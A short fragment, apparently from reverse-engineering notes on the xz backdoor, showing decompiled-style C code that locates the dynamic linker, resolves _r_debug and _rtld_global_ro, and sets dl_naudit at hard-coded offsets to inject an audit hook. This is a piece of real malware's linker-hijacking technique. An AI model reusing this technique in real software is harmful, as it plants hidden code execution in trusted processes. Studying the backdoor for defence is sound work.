Xz Backdoor, Cybersecurity.
findLdBase(); if ((int64_t)ldBaseAddr <= 0) goto error; rc_debug = findSymAddr(ldBaseAddr, "_r_debug", 0); setAuditPtr(rc_debug->r_map); rtld_global_ro = findSymAddr(ldBaseAddr, "_rtld_global_ro", 0); dl_naudit = rtld_global_ro + 920; *dl_naudit = 1; dl_audit_ptr = rtld_global_ro + 912;